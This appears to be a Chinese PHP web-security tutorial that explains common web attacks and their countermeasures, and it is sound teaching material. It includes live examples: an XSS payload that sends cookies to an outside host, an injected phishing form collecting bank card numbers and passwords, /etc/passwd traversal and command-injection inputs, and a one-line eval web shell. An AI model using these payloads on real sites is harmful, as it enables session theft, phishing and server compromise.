PHP编码安全及常见攻击
PHP编程安全
Cookie简介
HTTP是一种无状态协议, 即不对请求和响应之间的通信状态进行保存. 也就是说, 无法根据之前的状态关联本次的请求处理. 目的是更快的处理大量事务, 确保协议的可伸缩性
为了解决这个问题, 引入Cookie. 客户端第一次访问服务时, 服务器生成Cookie, 通过响应发送给客户端, 并记录该Cookie对应的客户会话信息. 之后当客户端携带Cookie访问服务器时, 服务器就可以辨识本次请求的来源用户身份

Web安全总览
Web攻击可分为主动攻击(Active Attack) 和 被动攻击(Passive Attack)
主动攻击
攻击者直接攻击Web服务器, 如SQL注入等

被动攻击
攻击者不直接攻击服务器, 而是针对网站用户设下陷阱, 利用掉入陷阱的用户来获取修改用户数据或攻击应用程序
模式一 单纯被动攻击

用户在浏览过所谓的“可疑网站”之后会感染上恶意软件。理论上如果浏览器(包括Adobe Flash Player等插件)不存漏洞,此类单纯的被动攻击是行不通的。但现实中,浏览器以及Adobe Reader、Adobe Flash Player、JRE 等插件的漏洞却层出不穷
模式二 在正规网站中设置陷阱的被动攻击

攻击者示先入侵正规网站,往箕内容中嵌入恶意代码(①)。网站用户在浏览了含有恶意代码的内容后(②、③),就会感染病毒(④)。在这一流程中,单看步骤①的话似乎应归类为主动攻击,但步骤②、③均为被动攻击,因此可将①视作被动攻击的前期准备。
设置陷阱 手法 1 非法获取FTP等服务器密码后篡改网站内容 2 通过攻击Web服务器的安全漏洞篡改网站内容 3 通过SQL注入篡改网站内容 4 在社交网络这类用户可以自己发布内容的网站, 利用跨站脚本漏洞实施攻击 模式三 跨站被动攻击

此类攻击的特征为,恶意利用已经在正规网站登录的用户账号来实施攻击。由于步骤③的请求中要向正规网站发送会话Cookie,因此,如果用户己经在正规网站登录,就会利用其己经登经的状态实施攻击。
此类攻击模式的典型案例包括,在步骤③的请求中对Web应用发动攻击的跨站请求伪造(CSRF),以及在步骤④的响应中利用浏览器来执行攻击的跨站脚本攻击(XSS)和HTTP消息头注入攻击。
浏览器防御被动攻击
针对被动攻击,浏览器和网站都需要采取相应的防御措施。如果浏览器存在安全问题,网站方面即使实施了对策也无法完全确保安全性。
浏览器安全功能一
浏览器能在用户浏览网站的同时运行一些程序,比如JavaScript、 Java Applet、Adobe Flash Player、 ActiveX等。而为了防止恶意程序在用户的浏览器上运行,JavaScript等语言提供了一些增强安全性的功能。基本思想有如下两种:
- CA签名确认 只有在用户确认了程序的发行方并允许运行的情况下,程序才能被运行
- Sandbox 提供限制程序权限的沙盒环境(禁止访问本地文件/禁止使用打印机/限制网络访问)
浏览器安全功能二
同源策略 - 协议、域名(指向主机)、端口,这三个完全相同的 URL 才能称之为同源
如果同源, 在iframe外部就可以通过JS取得内部的HTML内容
同源

非同源

应用程序安全隐患
虽然浏览器的同源策略为抵御被动攻击设下了一道屏障,但如果应用程序中存在安全隐患,还是有可能遭受到被动攻击。跨站脚本攻击(XSS)就是典型的例子。

Web应用功能与安全隐患关系

Web应用可以使用 输入-处理-输出 模型表示, 从HTTP请求输入开始, 经过服务器应用的各种处理, 最后由HTTP响应进行输出. 而除了HTTP响应, 此处的输出还包括访问数据库、读写文件、收发邮件等与其他服务交流的操作
| 输出 | 安全隐患 | 恶意手段 | 数据边界符 |
|---|---|---|---|
| 输出HTML | 跨站脚本 | 注入JavaScript等 | < |
| 输出HTTP消息头 | HTTP消息头注入 | 注入响应消息头 | 换行符 |
| 执行SQL语句 | SQL注入 | 注入SQL命令 | ' |
| 调用Shell命令 | OS命令注入 | 注入系统命令 | ; |
| 输出邮件头和正文 | 邮件头注入 | 注入/修改邮件头或正文 | 换行符 |
页面显示相关问题
跨站脚本XSS
通常情况下, 在Web应用的网页中, 有些部分的显示内容会依据外界输入值而发生变化(会反弹恶意代码), 而如果生成这些HTML的程序中存在问题,就会滋生跨站脚本(Cross-Site Scripting)安全隐患. 由于和知名的CSS(层叠样式表)缩写冲突, 所以经常缩写为XSS
Web应用若存XSS漏洞, 会有下列风险:
- 用户的浏览器中运行攻击者的恶意脚本,从而导致Cookie信息被窃取,用户身份被冒名顶替
- 攻击者能获得用户的权限来恶意使用Web应用的功能
- 向用户显示伪造的输入表单,通过钓鱼式攻击(Phishing)窃取用户的个人信息
| 对象 | 结果 |
|---|---|
| 产生地点 | Web应用中生成HTML和JavaScript的位置 |
| 影响范围 | Web应用全体 |
| 影响类型 | 在网站用户的浏览器中执行JavaScript, 显示伪造的网站内容 |
| 影响程度 | 中 ~ 大 |
| 用户参与程度 | 需要: 浏览恶意网站、点击邮件附属链接、浏览已经被入侵的网站 |
| 对策概要 | 双引号括起属性值, 转义HTML中的特殊字符 |
窃取Cookie
1.目标页面: 对用户输入没有做任何处理, 复现在页面上

2.输入简单的JavaScript注入
1
<script> alert(document.cookie) </script>

3.构建钓鱼页面, 诱使用户点击

1
<iframe width="300" height="200" src="http://localhost/test/WebSecure/cookie/search.php?item=<script>window.location='http://ni9ne.com.cn/collectCookie.php?sid='%2Bdocument.cookie;</script>"></iframe>
4.查看结果

篡改网页
1.目标页面


2.构建钓鱼页面, 诱使用户点击

1
2
3
4
5
6
7
8
9
10
11
12
13<input type="hidden" name="name" value='
"></form>
<form style="top:5px;left:5px;position:absolute;z-index: 99;background-color: white;" action="http://ni9ne.com.cn/phishing_order_res.php" method="POST">
<h1>预约报名</h1>
姓名 <input type="text" name="name" size="20" value="ni9ne"><br>
地址 <input type="text" name="addr" size="20" value="佳园路111号"><br>
电话 <input type="text" name="tel" size="20" value="15988954253"><br>
银行卡号 <input type="text" name="card" size="20" value="xxxxxx"><br>
登陆密码 <input type="text" name="pwd" size="20" value="xxxxxx"><br>
<input type="submit" value="预约">
<br><br><br><br>
</form>
'>3.用户点击, 查看结果


攻击原理:
恶意网页通过下列手段隐藏原来的form并添加新的form, 从而改变页面
1.使用 "></form> 闭合原有form元素
2.添加新的form元素, 并通过指定样式方式赢藏原有form
通过固定绝对坐标方式将form固定
将
z-index设置为最大值, 确保悬浮在原有form上方将背景指定为网站整体背景色, 隐藏原有form
3.在新的form中指定提交目标为恶意网站
href/src属性XSS
有些元素的属性值为URL, 如 a 元素的 href 属性, img 、frame 、iframe 元素的 src 属性. 如果属性值中的URL是由外界传入, 就可能通过使用 javascript: js代码 形式的URL执行JavaScript代码.
1.目标页面


输入js代码
1
javascript:alert(document.cookie)

对策:
URL由程序动态生成时, 需要对其进行校验, 仅允许 http 和 https协议. 此外, 通过校验的URL还需要作为属性值进行HTML转义. 即URL属性必须满足两个条件中的一个:
- 以
http:或https:开头的绝对URL - 以
/开头的相对URL
JavaScript的动态生成
Web应用中, 服务器依据客户输入动态生成一部分JavaScript. 可能存在js注入风险
1.目标页面


输入JS代码
1
');alert(document.cookie)//

实际页面变为:

对策:
需要对JavaScript字符串进行转义, 避免单引号 ' 被作为结束边界符
- 将数据作为js字符串进行转义
- 将得到的结果再次进行html实体化
| 原字符 | JavaScript转义后 | HTML实体化后 |
|---|---|---|
< > ' " \ |
< > \' \" \\ |
< > \' \" \\ |
或直接使用Unicode转义, 将字母数字之外的字符转为Unicode
错误报告导致信息泄露
错误信息泄露存在以下两种状况:
- 错误信息中含有对攻击者有帮助的应用程序内部信息
- 通过蓄意攻击使错误信息中显示隐私信息(如用户名/密码等)
PHP可以配置关闭错误显示
1 | # php.ini |
页面显示相关问题解决方案
XSS分类
XSS主要分为反射型XSS和存储型XSS
反射型XSS(Reflected XSS)
攻击用的JS代码位于攻击目标网站之外的其他网站(恶意网站或邮件中的URL)
如窃取Cookie中使用的用户输入值确认页面

存储型XSS (Stored XSS)
也叫持久性XSS(Presistent XSS), 攻击用JS代码保存在攻击对象服务器上
典型攻击对象为Web邮箱客户端及社交网站发布页

XSS产生根源
根本原因是在生产HTML过程中, HTML语法中的关键字(元字符)没有被正确处理, 导致HTML/JS被注入, 从而导致原有页面结构变化.
为了消除关键字的特殊意义, 将其转化为普通字符, 就需要进行转义/实体化处理
1 | 转义规则: http://www.w3chtml.com/html/character.html |
解决方案
参数所在位置转义方式:
| 位置 | 说明 | 最低限度转义内容 |
|---|---|---|
| 元素内容 | 1.能解释Tag和字符实体 2.结束边界字符为 < |
< & |
| 属性值 | 1.能解释字符实体 2.结束边界字符为双引号 " |
属性值用双引号括起来, < & " |
| 属性值(URL) | 同上 | 校验URL格式正确后按属性值规则转义 |
| 事件绑定函数 | 同上 | 转义JavaScript后按属性值规则转义 |
| Script元素中的字符串 | 不能解释Tag和字符实体 结束边界字符为 </ |
转义JavaScript并避免出现 </ |
PHP中一般使用
htmlspecialchars($string, $quote_style, $charset)函数进行实体化转义, 如:1
echo htmlspecialchars($value, ENT_QUOTES, 'UTF-8');
输入校验, 通过校验用户输入值的有效性, 防御XSS攻击
给Cookie添加
HttpOnly属性, 禁止 JavaScript 读取Cookie信息1
2# php.ini
= 1
SQL调用相关问题
SQL注入
SQL注入漏洞是由于SQL语句的调用方法不完善而产生的安全隐患. 导致的结果一般是直接对服务器的攻击, 而不需要用户的参与, 可能造成以下影响:
- 数据库信息被窃取
- 数据库内容被篡改
- 登陆认证失效
- 其他如, 服务器文件被读取/修改, 服务器程序执行
| 对象 | 结果 |
|---|---|
| 产生地点 | 调用SQL语句的地方 |
| 影响范围 | 所有页面 |
| 影响类型 | 信息泄露、篡改数据、绕过认证、浏览编辑文件 |
| 影响程度 | 大 |
| 用户参与程度 | 不需要 |
| 对策概要 | 使用静态占位符, 预编译模式运行SQL |
SQL注入攻击方式多种多样 , 暂不具体展开, 后续开专题详细介绍, 应对方式一般使用静态占位符预编译即可
1 | $sql = "select * from tb_user where name = ? and pwd = ? limit 1"; |
其他辅助对策:
- 不显示详细错误信息
- 校验输入值有效性
- 设置数据库权限
关键处理中引入的安全隐患-CSRF
关键处理中如果存在安全隐患, 可能产生跨站请求伪造(CSRF)的漏洞
关键处理 - 账号转账/发送邮件/密码更改 等一旦完成无法撤销的操作
CSRF - 跨站请求伪造Cross-Site Request Forgery
执行关键处理前, 需要确认请求确实是用户自愿发起的. 如果存在CSRF漏洞, 可能造成:
- 攻击者使用用户的账号 下单购物/发帖
- 攻击者删除用户账号
- 攻击者更改用户的密码/邮箱
| 对象 | 结果 |
|---|---|
| 产生地点 | 以下任意网站上执行关键处理的页面: - 仅使用Cookie进行会话处理的网站 - 仅依靠HTTP认证、SSL证书、手机移动ID标识用户的网站 |
| 影响范围 | 存在CSRF漏洞的页面 |
| 影响类型 | 以用户权限执行关键处理 |
| 影响程度 | 中 ~ 大 |
| 用户参与程度 | 需要 -> 点击恶意链接、浏览恶意网站 |
| 对策概要 | 执行关键处理前, 确认是正规用户发起请求 |
典型攻击模式
1.目标页面


整个页面工作流程为:
- 确认用户登陆状态, 显示修改密码链接
- 用户输入新密码, 通过POST将信息传入后台处理脚本
- 后台接收数据, 修改当前用户密码并回显
2.构建钓鱼页面, 诱使用户点击


3.攻击流程

根据同源策略, iframe外层(恶意网页) 无法读取到内部(目标网页) 的内容, 因此, CSRF攻击无法获取目标的内容, 但可以模拟用户操作, 使用当前用户的Cookie修改用户密码, 从而达到攻击目标
解决方案
防御CSRF关键为 确认关键处理的请求确实是来自正规用户自愿发起的. 因此需要执行以下两点:
- 筛选需要防范CSRF攻击的页面(关键处理页面)
- 使代码能判断当前操作是否为用户主观行为
确认正规用户自愿发起请求方式:

嵌入机密信息(令牌)
1
2
3
4
5# 关键页面
<input type="hidden" name="token" value="<?php echo htmlspecialchars(session_id) ?>">
# 后台处理
if (session_id() !== $_POST['token']) die('请从正规页面操作');再次输入密码
发送确认短信/输入密码, 确保是用户自愿发起, 但需要保证确认密码页面是最后的执行页面, 否则可能被跳过
检验Referer
1
if ($_SERVER['HTTP_REFERER'] !== WEB_HOST) die('REFERER检测失败');
防范策略比较
| 嵌入令牌 | 确认密码 | 确认REFERER | |
|---|---|---|---|
| 开发耗时 | 中 | 中 | 小 |
| 用户影响 | 无 | 增加输入密码步骤 | 关闭Referer用户无法使用 |
| 手机网站适用 | 可以 | 可以 | 不可以 |
| 建议使用位置 | 基本策略, 所有情况均可适用 | 防范他人伪装需求较强的页面 | 可以限定用户环境 |
辅助性对策
执行关键处理后, 可以向用户注册邮箱发送相关处理内容的通知, 让用户第一时间知情, 降低损害
不完善的会话管理
Web应用中经常使用会话管理机制来记忆认证结果等状态. 一般使用Cookie记忆当前会话ID, 因此, 会话ID的作用相当于获取服务器端信息的钥匙
如果由于某些原因, 用户的会话ID被第三方得知, 就会出现他人伪装用户访问的风险, 这种攻击手段就称为会话劫持
第三方获取会话ID方式
- 预测 会话ID
- 窃取 会话ID
- 挟持 会话ID

预测会话ID
如果生成会话ID的方式不妥善, 可能会被第三方预测成功, 如连续的数值, 基于日期、用户名生成, 开源软件中可预测的生成代码逻辑等
窃取会话ID
窃取会话ID方式有以下几种:
生成时Cookie属性设置不妥善(httponly)
明文传输, 被网络监听
由于跨站脚本安全隐患泄露
PHP或浏览器平台安全隐患泄露
会话ID在URL中使用, 经由Referer泄露(支持发布外链)
可能导致安全隐患:
- 跨站脚本攻击(XSS)
- HTTP消息头注入
- 嵌入在URL中的会话ID
劫持会话ID
将会话ID强制设置到用户浏览器中, 也就相当于攻击者得知了用户的会话ID, 称为 会话固定攻击(Session Fixation Attack)
安全隐患
会话ID可预测
| 对象 | 结果 |
|---|---|
| 产生地点 | 生成会话ID的地方 |
| 影响范围 | Web应用使用会话管理的所有页面 |
| 影响类型 | 伪装用户 |
| 影响程度 | 大 |
| 用户参与程度 | 不需要 |
| 对策概要 | 停止自己实现会话管理机制, 而使用平台或语言提供的会话机制 |
攻击步骤:
- 1.收集对象应用的会话ID
- 推测会话ID生成规则
- 在对象应用中实验生成的会话ID
常见会话ID生成方式:
会话ID一般都是基于以下内容生成:
用户ID或邮箱地址
远程IP地址
日期与实践(UNIX时间戳或年月日时分秒字符串)
随机数

对策:
为了避免生成可预测的会话ID产生安全隐患, 应当停止自己实现会话管理机制, 而使用平台或语言提供的会话机制
会话ID嵌入URL
会话ID有时并不保存在Cookie中, 而是被保存于URL. 由于一些手机浏览器不支持Cookie, 因此这种做法也经常使用
1 | http://example.com/login.php?PHPSESSID=onjic14un02ccjqilsq8uq8as0 |
会话ID嵌入URL可能导致会话ID经由Referer外协, 从而造成伪装攻击
| 对象 | 结果 |
|---|---|
| 产生地点 | 生成会话ID的地方 |
| 影响范围 | Web应用使用会话管理的所有页面 |
| 影响类型 | 伪装用户 |
| 影响程度 | 中 ~ 大 |
| 用户参与程度 | 需要 -> 点击链接, 浏览邮件附属URL |
| 对策概要 | 在程序中设置禁止嵌入会话ID到URL |
PHP会话设置
1 | # php.ini |
配置使用效果
| use_cookies | use_only_cookies | 会话ID保存位置 |
|---|---|---|
| On | On | 会话ID仅保存在Cookie中 |
| On | Off | 可以使用Cookie时保存在Cookie中,不能使用时嵌入URL |
| Off | On | 无意义组合 |
| Off | Off | 始终将会话ID嵌入URL |
上述情况中,
session.use_trans_sid值为On时, 会话ID会自动嵌入URL,Off时, 仅在需要嵌入时, 才会嵌入
攻击案例
1 | # php.ini |
构建钓鱼页面, 诱使用户点击


攻击条件
网站同时满足以下两个条件是, 存在会话ID失窃的风险
- 能够使用被嵌入URL的会话ID
- 存在跳转至外部网站的链接. 或用户可以发布自己的链接
对策
PHP设置仅使用Cookie保存会话ID, 不开启嵌入URL配置, 即默认配置
固定会话ID
会话攻击的另一种手段为从外部劫持会话ID, 即会话固定攻击. 攻击流程如下:
- 1.取得目标网站的会话ID或自己指定ID
- 2.强行将上述会话ID交给用户
- 3.用户登陆目标Web应用
- 4.攻击者使用该会话ID伪装用户进入Web应用
应对会话固定攻击时, 彻底杜绝步骤2比较困难, 因此一般采用用户登陆时更换其会话ID的方式
| 对象 | 结果 |
|---|---|
| 产生地点 | 进行登陆处理的页面 |
| 影响范围 | Web应用使用会话管理的所有页面 |
| 影响类型 | 伪装用户 |
| 影响程度 | 中 ~ 大 |
| 用户参与程度 | 需要 -> 点击链接, 浏览邮件附属URL |
| 对策概要 | 用户登陆时更换会话ID |
攻击案例
1 | # php.ini |
1.目标页面, 登陆


构建钓鱼链接, 诱使用户点击登陆


对策
由于框架/平台存在**会话采纳(Session Adoption)**机制, 会采用预先提供的会话ID来生成会话. 存在以下对策:
方案一 认证登陆后更改会话ID
PHP中可以使用函数
session_regenerate_id(), 当指定参数为ture时, 会自动生成新的会话ID. 格式如下:1
bool session_regenerate_id([bool $delete_old_session = false])

方案二 采用令牌
登陆/注册时, 生成一个随机字符串(令牌), 将其同时保存在Cookie和会话变量中. 然后在各页面确认比较Cookie和令牌值, 如果两者一致则视为认证成功, 不一致时认证失败.
由于只有在登陆时令牌才发布, 攻击者不经过登陆页, 无法获取令牌值, 可以成功防御会话固定攻击

辅助对策
如果登陆前使用了会话变量, 防范会话固定攻击比较难. 在这种状况下, 也可以使用hidden参数来传递值, 或与以下方式组合使用:
- 不再登陆前的会话变量中存储敏感数据
- 不使用嵌入URL的会话ID
重定向相关
Web应用中有时会重定向到外界指定的URL. 典型案例为: 在登陆页面参数中指定URL, 登陆成功后重定向到该URL.
1 | https://www.google.com/accounts/ServiceLogin?continue=https://mail.google.com/mail |
重定向处理时可能产生以下安全风险:
- 自由重定向漏洞
- HTTP消息头注入
自由重定向
有些Web应用提供了能够重定向到参数指定URL的功能, 即重定向器(Redirector), 其中能够重定向到任意域名的重定向器叫自由重定向(Open Redirect). 自由重定向可能导致用户在不知情状况下被带入其他网站, 从而遭受钓鱼攻击
| 对象 | 结果 |
|---|---|
| 产生地点 | 能够重定向到外界指定URL的页面 |
| 影响范围 | Web应用的所有页面 |
| 影响类型 | 诱导用户到钓鱼网站, 暴露重要信息 |
| 影响程度 | 中 ~ 大 |
| 用户参与程度 | 需要 -> 点击链接, 浏览邮件附属URL |
| 对策概要 | 固定重定向目标 或 白名单机制 |
应该评估 [自由重定向功能] 是否不可或缺, 并固定重定向目标. 实在无法固定, 可限制在运行域名范围内
攻击案例
1.目标页面, 正常登陆流程


2.构建钓鱼页面, 诱使用户点击


自由重定向漏洞产生的原因主要是:
1.重定向目标可以由外界指定
2.没有对重定向目标域名做校验
对策
- 固定重定向的目标URL
- 使用编号指定重定向目标URL
- 校验重定向目标域名
HTTP消息头注入
HTTP消息头注入漏洞是指, 在重定向或生成Cookie等基于外部传入的参数输出HTTP响应头时查收的安全隐患. 输出响应消息头时, 通过在参数中添加换行符, 就可以实现任意添加响应消息头或伪造消息体的操作
可能造成以下影响:
生成任意Cookie
重定向至任意URL
更改页面显示内容
执行任意JS代码而造成XSS同样的损害
响应头中的换行符有特殊意义, 一个换行符代表一条属性的结束, 两个换行符代表消息头结束, 消息体开始

请求报文格式:

响应报文格式:

| 对象 | 结果 |
|---|---|
| 产生地点 | 重定向或生成Cookie等基于外部传入的参数输出HTTP响应头的页面 |
| 影响范围 | Web应用的所有页面 |
| 影响类型 | 伪装、显示伪造页面、缓存污染 |
| 影响程度 | 中 ~ 大 |
| 用户参与程度 | 需要 -> 点击链接, 浏览邮件附属URL |
| 对策概要 | 不将外界传入参数作为HTTP响应头输出 或 校验重定向/生成Cookie参数中的换行符 |
安全隐患产生原因
HTTP响应头信息能够以文本格式逐行定义, 也就是说消息头之间以换行符分隔. 如果攻击者指定重定向目标URL或Cookie值参数中插入换行符, 且该换行符直接被作为响应输出, 就会产生HTTP消息头注入
对策
对策一 不将外界参数作为HTTP响应消息头输出
- 不直接使用URL, 而是从外界获取URL编号, 对应匹配后指定URL
- 使用Web服务中的会话变量来移交URL
对策二 校验消息头参数
由专门的API进行重定向或生成Cookie
1
2header('location:' . $URL);
setcookie();校验生成消息头参数中的换行符
cookie输出相关
用途不当
不应使用Cookie保存敏感数据, 或过于依赖Cookie中的数据. 因为Cookie是保存在客户端且可以被修改的

除了控制消息有效期限和不同服务器件共享信息, 除此之外, 会话变量均优于使用Cookie
输出方法不当
输出Cookie时容易产生安全隐患:
HTTP消息头注入
Cookie安全属性设置不完善

Cookie中包含Secure属性, 指定时仅在HTTPS传输下才会被浏览器发送至服务器. 而如果未指定安全属性, 即使应用中使用了HTTPS传输, Cookie也可能会以明文方式传输, 存在监听风险
为解决这一问题, 最直接的对策是使用Cookie的安全属性. 如果网站中HTTP和HTTPS同时存在, 可以通过添加一个设置安全属性的令牌Cookie, 在每个HTTPS页面中确认令牌值即可
对策
方案一 设置Secure属性
1
2
3# php.ini
= 1
= 1方案二 使用令牌Token
1
2$token = $_COOKIE['token'];
if (!$token || $token != $_SESSION['token']) die('Token 验证失败');
文件处理相关
在有些Web应用中, 可以通过外接传入参数的方式来指定服务器中的文件名, 如指定模板. 可能造成以下风险
- 目录遍历 非法访问服务器文件
- OS命令注入 调用OS命令
目录遍历漏洞
Web应用允许外界以参数形式指定服务器文件名时, 如果没有进行充分校验, 可能造成文件被浏览、篡改或删除.
可能造成以下影响:
- 浏览Web服务器中的文件
- 泄露重要信息
- 篡改/删除服务器文件
- 篡改网页文件内容
- 删除脚本文件或配置文件导致宕机
- 通过篡改脚本文件在服务器上执行任意脚本
要防范目录遍历漏洞, 有如下方式(多选一):
- 避免由外界指定文件名
- 文件名中不允许包含目录
- 限定文件名中仅包含数字和字母
| 对象 | 结果 |
|---|---|
| 产生地点 | 允许外界以参数形式指定服务器文件名的页面 |
| 影响范围 | Web应用的所有页面 |
| 影响类型 | 泄露隐私信息、篡改删除信息、执行脚本、宕机 |
| 影响程度 | 大 |
| 用户参与程度 | 不需要 |
| 对策概要 | - 避免由外界指定文件名 - 文件名中不允许包含目录 - 限定文件名中仅包含数字和字母 |
攻击案例
1.目标页面

2.请求参数变更
1
http://local2.project.com/?tpl=../../../../etc/passwd

对策
实施以下任一项:
避免由外界指定文件名
- 固定文件名
- 将文件名保存在会话变量中
- 不直接指定文件名, 而是使用编号的间接指定
文件名中不允许包含目录
- ```php
$tpl = basename($_GET[‘tpl’]);1
2
3
4
5
6
7
- 限定文件名中仅包含数字和字母
- ```php
if (!preg_match('/\A[a-z0-9]+\.html\z/ui', $tpl)){
die('tpl仅能使用数字和字母');
}
- ```php
内部文件被公开
Web服务器中的公开目录有时会防止对外保密的文件. 外界一旦得知文件URL, 就能浏览内部文件, 所以, 一般不在公开目录中放置内部文件, 或直接禁用目录列表功能
| 对象 | 结果 |
|---|---|
| 产生地点 | 网站全体 |
| 影响范围 | 仅限于被公开文件 |
| 影响类型 | 泄露隐私信息 |
| 影响程度 | 大 |
| 用户参与程度 | 不需要 |
| 对策概要 | 不在公开目录中放置内部文件, 或直接禁用目录列表功能 |

1 | # Apache中编辑httpd.conf禁用目录列表 |
调用OS命令相关问题
Web开发中, 大部分语言都支持通过shell执行OS(操作系统)命令. 当编码时通过shell执行OS命令或某个方法内部使用shell. 就可能出现OS命令被任意执行的情况, 即OS命令注入
OS命令注入
1.目标页面 发送邮件


2.输入注入命令
1
ni9ne@outlook.com;cat /etc/passwd

OS注入产生原因
使用Shell来启动命令, 同时也意味着可以使用连续命令, 管道符, 重定向等功能
1 | # php 执行代码 |
如果指定OS命令参数字符串中混入了Shell的元字符, 就会导致攻击者添加的OS命令被执行. 即满足OS注入漏洞的条件包括:
- 使用了内部调用Shell的函数 (system open等)
- 将外界传入参数传递给内部调用Shell的函数
- 参数中Shell的元字符没有被转义
对策
为了防范OS命令注入, 可以使用以下方法:
选择不调用OS命令的实现方法
1
mb_send_mail($to, $content, 'From: xxx@qq.com');
不将外界输入的字符串传递给命令行参数
不将字符传放入命令, 而是通过指定消息头的方式, 由命令自行读取参数
使用安全的函数对参数进行转义
1
escapeshellarg();
文件上传问题
针对上传的DOS攻击
使用上传功能连续发送体积巨大的文件, 可能形成网站负荷过载的DOS攻击(Denial of service Attack)
防范DOS攻击的一种有效策略为限制上传文件的容量.
PHP中的php.ini文件限制:
| 设置项目 | 说明 | 默认值 |
|---|---|---|
| file_uploads | 是否允许使用文件上传 | On |
| upload_max_filesize | 单个文件最大容量 | 2MB |
| max_file_uploads | 单次请求最大文件上传个数 | 20 |
| post_max_size | POST包最大限制 | 8MB |
| memory_limit | 脚本最大申请内存 | 128MB |
Apache/Nginx中也有类似的配置项目
上传执行脚本
有些文件上传处理会将用户上传的文件保存至Web服务器的公开目录中. 如果上传了php、asp、aspx、jsp等脚本文件, 用户就可以在服务器上执行脚本, 造成与OS命令注入同样的影响
为了防范上传脚本, 可以使用以下方法:
- 不将用户上传的文件保存在公开目录中, 浏览文件需要通过脚本实现
- 将文件的扩展名限定为不可执行的文件
| 对象 | 结果 |
|---|---|
| 产生地点 | 提供文件上传的页面 |
| 影响范围 | 所有页面 |
| 影响类型 | 泄露隐私信息、篡改删除数据、对外发动DOS攻击的 |
| 影响程度 | 大 |
| 用户参与程度 | 不需要 |
| 对策概要 | - 不将用户上传的文件保存在公开目录中, 浏览文件需要通过脚本实现 - 将文件的扩展名限定为不可执行的脚本文件 |
恶意脚本
1 | @eval($_POST['shell']); |
对策
校验上传文件类型
1
2
3
4
5
6
7
8
9
10
11
12
13# 匹配后缀
$allowType = ['jpg', 'gif', 'png'];
$allowHeader = [];
$extension = strtolower(pathinfo($fileName, PATHINFO_EXTENSION));
if (!in_array($extension, $allowType)){
die('文件格式不允许上传');
}
# 匹配字节头
$allowHeader = [IMAGETYPE_GIF, IMAGETYPE_JPEG, IMAGETYPE_PNG];
$type = getimagesize($filename)[2];
if (!in_array($type, $allowHeader)){
die('文件格式不允许上传');
}
诱使用户下载恶意文件
include相关问题
PHP等脚本语言能够从外部文件读取脚本源代码的一部分. 对应的关键字包括
1 | require ; require_once ; include ; include_once ; |
如果外界能够制定include的对象文件名, 就可能造成意料之外的文件被include而遭受攻击. 即文件包含漏洞. 在PHP的配置中, 还能开启配置, 可以指定外部服务器的URL作为包含文件, 可能存在远程文件包含风险(RFI)
1 | # php.ini |
为了防范文件包含漏洞, 可以采取以下措施:
- 避免include的路径中包含外界传入的参数
- include路径包含参数时, 限制字符种类仅为数字和字母
| 对象 | 结果 |
|---|---|
| 产生地点 | include读取脚本的页面 |
| 影响范围 | 所有页面 |
| 影响类型 | 泄露隐私信息、篡改删除数据、对外发动DOS攻击的 |
| 影响程度 | 大 |
| 用户参与程度 | 不需要 |
| 对策概要 | - 避免include的路径中包含外界传入的参数 - include路径包含参数时, 限制字符种类仅为数字和字母 |
eval相关问题
如果eval 函数使用不当, 可能导致外界传入脚本被执行, 即eval注入攻击
为避免出现风险, 可采取以下措施:
- 不使用eval或eval相当的功能
- 避免eval的参数包含外界传入的参数
- eval参数中包含外界传入参数时, 校验参数, 限定为仅含数字字母
| 对象 | 结果 |
|---|---|
| 产生地点 | 使用eval或eval相当的功能的页面 |
| 影响范围 | 所有页面 |
| 影响类型 | 泄露隐私信息、篡改删除数据、对外发动DOS攻击的 |
| 影响程度 | 大 |
| 用户参与程度 | 不需要 |
| 对策概要 | - 不使用eval或eval相当的功能 - 避免eval的参数包含外界传入的参数 - eval参数中包含外界传入参数时, 限定为仅含数字字母 |